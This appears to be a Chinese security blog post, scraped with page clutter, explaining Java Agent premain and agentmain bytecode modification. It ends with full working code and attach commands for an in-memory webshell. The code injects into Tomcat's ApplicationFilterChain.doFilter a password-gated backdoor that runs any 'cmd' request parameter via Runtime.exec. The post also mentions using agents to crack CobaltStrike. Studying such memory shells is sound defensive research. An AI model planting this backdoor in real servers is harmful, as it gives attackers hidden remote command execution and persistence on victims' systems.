<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Java Agent到內存馬

    VSole2021-12-14 14:52:22

    前言

    今天看到一篇文章,寫的是關于JAVA Agent相關的資料(附1),里面提到了Java Agent的兩種實現方法:

    • 實現premain方法,在JVM啟動前加載
    • 實現agentmain方法,在JVM啟動后attach加載

    因為最近流行破解CobaltStrike不再直接使用反編譯打包源碼了,而是使用JAVA Agent進行提前字節碼修改。并且文章中也提到了javassist工具,我之前也用過javassist工具進行破解過Charles,因此抱著學習和復習的態度來復現下本文提到的技術點。

    JAVA Agent兩種方法復現

    Java Agent簡單說就是一種可以修改jar字節碼的技術,我們來復現下上述提到的兩種方法。

    premain

    通過實現premain方法,并在啟動jar時添加-javaagent:agent.jar即可進行字節碼修改。首先我們創建一個正常輸出、測試用的JAVA程序,hello.jar

    package com.test;
    public class Hello {  public static void main(String[] args) {      hello();
      }
      public static void hello(){      for (int i = 0; i < 1000; i++) {          System.out.println("hello");          try {              Thread.sleep(1000);          } catch (InterruptedException e) {              e.printStackTrace();          }      }  }}
    

    生成jar包:

    Build -> Build Artifacts -> Build
    

    正常運行jar包得到如下輸出:

    java -jar hello.jar
    

    接下來編寫一個實現premain方法的JAVA程序:

    package com.test;
    import java.lang.instrument.Instrumentation;
    public class premainagent {  public static void premain(String args, Instrumentation inst) throws Exception{      for (int i = 0; i < 10; i++) {          System.out.println("hello I`m premain agent!!!");      }  }}
    

    并在MANIFEST.MF添加一行:

    Premain-Class: com.test.premainagent
    

    生成jar包并加載執行:

    java -javaagent:premainagent.jar -jar hello.jar
    

    可以看到,成功的在hello.jar本身結果輸出前輸出了premain方法的內容:

    前面也提到現在破解CobaltStrike流行用JAVA Agent技術,我們看下破解工具的源碼,能發現確實用的也是premain方法進行的破解:

    agentmain

    但是有些JVM已經啟動了,不好去讓他重啟,因此這個時候agentmain就派上用場了,可以方便的attach對應的進程進行字節碼的修改。

    編寫一個實現了agentmain方法的JAVA程序:

    package com.test;
    import java.lang.instrument.Instrumentation;
    public class agentmaintest {  public static void agentmain(String agentArgs, Instrumentation inst) {      for (int i = 0; i < 10; i++) {          System.out.println("hello I`m agentMain!!!");      }  }}
    

    并在MANIFEST.MF添加一行:

    Agent-Class: com.test.agentmaintest
    

    生成jar包。

    再編寫一個attach程序(附2):

    import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;
    public class TestAgentMain {
        public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{        //獲取當前系統中所有 運行中的 虛擬機        System.out.println("running JVM start ");        List<VirtualMachineDescriptor> list = VirtualMachine.list();        for (VirtualMachineDescriptor vmd : list) {
                System.out.println(vmd.displayName());            String aim = args[0];//你的jar包            if (vmd.displayName().endsWith(aim)) {                System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());                virtualMachine.loadAgent(args[1]);//你想要加載的agentmain包                virtualMachine.detach();            }        }    }}
    

    生成jar包。

    依然嘗試對hello.jar進行字節碼的修改,但是這次是運行著的hello.jar

    首先運行hello.jar

    java -jar hello.jar

    hello.jar進行啟動后的attach加載:

    java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar
    

    發現成功在hello.jar運行過程中進行了字節碼修改:


    內存馬

    既然可以修改某個方法的實現,那如果修改spring bootFilter是否就可以實現一個Filter內存馬?這里通過修改org.apache.catalina.core.ApplicationFilterChain#doFilter來達到實現內存馬的目的。

    依然實現一個agentmain方法,只是這次agentmain方法中不再是System.out.println了,而是接收request的值來執行命令。一開始跟著前文提到的方法進行復現,發現有一些問題,比如attach后會爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain

    得加上這兩句:

    ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
    

    除了上面agentmain章節中提到的,在MANIFEST.MF中添加一行Agent-Class,還要添加一行:

    Can-Retransform-Classes: true
    

    且最后執行命令的JAVA代碼,申明變量類型時得是完整路徑,如InputStream得變成java.io.InputStream。最終代碼如下:

    package com.test;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import javassist.*;import java.lang.instrument.UnmodifiableClassException;import java.lang.instrument.IllegalClassFormatException;import java.io.IOException;import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;import java.security.ProtectionDomain;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javassist.NotFoundException;
    public class memshell {    public static void agentmain(String agentArgs, Instrumentation instrumentation)            throws ClassNotFoundException, UnmodifiableClassException {        instrumentation.addTransformer(new ClassFileTransformer() {            @Override            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,                                    ProtectionDomain protectionDomain, byte[] classfileBuffer){                System.out.println("premain load Class2:" + className);                if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){                    System.out.println("nonononononono");                    return null;                }else {                    try {                        System.out.println("tryyyyyyyy");                        ClassPool classPool = ClassPool.getDefault();                        classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));                        if (classBeingRedefined != null) {                            ClassClassPath ccp = new ClassClassPath(classBeingRedefined);                            classPool.insertClassPath(ccp);                        }                        CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");                        CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");                        String source = "{javax.servlet.http.HttpServletRequest request = $1;" +                                "javax.servlet.http.HttpServletResponse response = $2;" +                                "request.setCharacterEncoding(\"UTF-8\");" +                                "String result = \"\";" +                                "String password = request.getParameter(\"password\");" +                                "if (password != null && password.equals(\"xxxxxx\")) {" +                                "String cmd = request.getParameter(\"cmd\");" +                                "if (cmd != null && cmd.length() > 0) {" +                                "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +                                "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +                                "byte[] b = new byte[1024];" +                                "int a = -1;" +                                "while ((a = in.read(b)) != -1) {" +                                "baos.write(b, 0, a);" +                                "}" +                                "response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +                                "}" +                                "}}";                        ctMethod.insertBefore(source);                        System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");                        byte[] byteCode = ctClass.toBytecode();                        ctClass.detach();                        return byteCode;                    } catch (Exception e) {                        e.printStackTrace();                    }                    return null;                }            }        },true);        instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));    }
    }
    

    打包成jar,然后啟動spring boot


    開始注入:

    java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar  memshell.jar
    

    成功執行命令:


    總結

    本文借著公開的文章學習了Java Agent相關技術,分別對JVM運行前和運行后的字節碼修改進行了復現,現在JAVA內存馬越來越流行,借著反序列化等漏洞可以悄無聲息的上一個Webshell,如何發現此類攻擊手段也是一個重要戰場。

    附1:https://xz.aliyun.com/t/9450

    附2:https://blog.csdn.net/qq_41874930/article/details/121284684

    推薦實操:Java反序列漏洞

    PC端實操地址:http://mrw.so/5vDpKD

    string
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如果你不是 Java8 的釘子戶,你應該早就發現了:String 類的源碼已經由 char[] 優化為了 byte[] 來存儲字符串內容,為什么要這樣做呢? 開門見山地說,從 char[] 到 byte[],最主要的目的是為了節省字符串占用的內存 。內存占用減少帶來的另外一個好處,就是 GC 次數也會減少。
    Adobe已經發布了一個名為Stringlifier的開源工具,該工具允許用戶識別任何純文本中隨機生成的字符串,該工具可用于清理日志。Stringlifier工具是用Python編寫的,它使用機器學習來識別插入普通文本中的隨機字符序列。開源工具可用于出于多種目的分析日志,例如研究意外暴露的憑證。Stringlifier能夠在源代碼或配置文件中查找API密鑰,哈希,隨機生成的字符串,包括密碼,日志。Adobe在Github上發布的描述中寫道。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。本文分析 Runtime_StringToArray 方法的源碼和重要數據結構,講解 Runtime_StringToArray 方法的觸發條件。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    舉個例子:但是對于64位的來說 ROPgadget預設的長度是不夠的。所以,我們可以使用ROPgadget --binary ./b --depth 100來加深他的搜索深度。2利用_libc_csu_init制造ROP常規方法我們前面說的利用ROPgadget來尋找,大多都是找到直接設置某個寄存器的rop,當然也可以使用--ropchain這個參數。
    一般情況下類與類之間是相互獨立的,內部類的意思就是打破這種獨立思想,讓一個類成為另一個類的內部信息,和成員變量、成員方法同等級別。「內部類的好處:」把一個類寫在外面和寫在里面最終達到的結果都一樣,那我們為什么還要使用內部類,豈不是多此一舉嗎?
    當被問及網絡間諜是否成功時,愛德華·斯金格表示,他非常有信心地確信,除了國防學院本身,沒有任何其他危害行為。斯金格接受采訪時透露,本次攻擊看起來不像是一次暴力攻擊,但有代價。國防學院立即意識到它可能已成為敵對國家在灰色地帶式網絡攻擊中的目標的可能性。官方迅速采取了行動,對更廣泛的國防部IT網絡沒有影響。
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    MISC中常用python腳本
    2021-09-20 20:26:46
    MISC中常用python腳本總結
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类